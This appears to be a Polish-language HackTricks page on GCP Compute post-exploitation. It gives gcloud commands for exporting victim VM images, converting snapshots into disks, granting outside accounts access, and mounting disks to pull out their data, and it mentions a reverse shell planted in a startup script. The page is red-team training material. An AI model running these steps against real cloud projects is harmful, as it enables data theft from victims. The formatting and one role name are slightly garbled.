GCP - Compute Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Compute

Aby uzyskać więcej informacji o Compute i VPC (Networking), sprawdź:

GCP - Compute Enum

Eksport i przegląd obrazów lokalnie

Pozwoli to atakującemu na uzyskanie dostępu do danych zawartych w już istniejących obrazach lub utworzenie nowych obrazów działających VM-ów i dostęp do ich danych bez dostępu do uruchomionej maszyny wirtualnej.

Można wyeksportować obraz VM do bucketu, a następnie pobrać go i zamontować lokalnie poleceniem:

Eksportuj i pobierz obraz VM ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

Aby wykonać tę akcję atakujący może potrzebować uprawnień do storage bucket i z pewnością uprawnień do cloudbuild, ponieważ to ten service zostanie poproszony o przeprowadzenie eksportu
Co więcej, aby to zadziałało codebuild SA i compute SA potrzebują uprzywilejowanych uprawnień.
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com potrzebuje:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

A SA <project-id>-compute@developer.gserviceaccount.com potrzebuje:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Eksport & Inspekcja Snapshots & Disks lokalnie

Nie można bezpośrednio eksportować snapshots i disks, ale można przekształcić snapshot w disk, disk w image i zgodnie z poprzednią sekcją, wyeksportować ten image, aby sprawdzić go lokalnie

Utwórz disk ze snapshot i image z disku ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### Inspekcja obrazu tworząc VM

Z zamiarem uzyskania dostępu do **danych przechowywanych w obrazie** lub wewnątrz **działającej VM** z miejsca, z którego atakujący **utworzył obraz,** możliwe jest przyznanie zewnętrznemu kontu dostępu do obrazu:

<details>

<summary>Przyznaj dostęp do obrazu i utwórz VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

a następnie utwórz z niego nową instancję VM:

Utwórz instancję VM z obrazu ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

Jeżeli nie możesz przyznać zewnętrznemu kontu dostępu do obrazu, możesz uruchomić VM używając tego obrazu w projekcie ofiary i sprawić, by metadane uruchomiły reverse shell, aby uzyskać dostęp do obrazu, dodając parametr:

Utwórz VM z reverse shell w metadanych ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Inspekcja Snapshot/Disk przez dołączenie go do VM

W celu uzyskania dostępu do danych przechowywanych na disk lub snapshot, możesz przekształcić snapshot w disk, disk w image i wykonać poprzednie kroki.

Albo możesz przyznać zewnętrznemu kontu dostęp do disk (jeśli punktem wyjścia jest snapshot — przyznaj dostęp do snapshot albo utwórz z niego disk):

Przyznaj dostęp do disk ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

Podłącz dysk do instancji:

Podłącz dysk do instancji ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

Zamontuj dysk wewnątrz VM:

  1. SSH into the VM:
SSH do VM i zamontuj dysk
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Zidentyfikuj dysk: Po wejściu do VM zidentyfikuj nowy dysk, wypisując urządzenia dyskowe. Zazwyczaj będzie widoczny jako /dev/sdb, /dev/sdc, itp.
  2. Sformatuj i zamontuj dysk (jeśli to nowy lub surowy dysk):
  • Utwórz punkt montowania:
Utwórz punkt montowania i zamontuj
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Zamontuj dysk:
Zamontuj urządzenie dyskowe
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Jeśli nie możesz udzielić dostępu projektowi zewnętrznemu do snapshotu lub dysku, może być konieczne wykonanie tych działań wewnątrz instancji w tym samym projekcie co snapshot/dysk.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks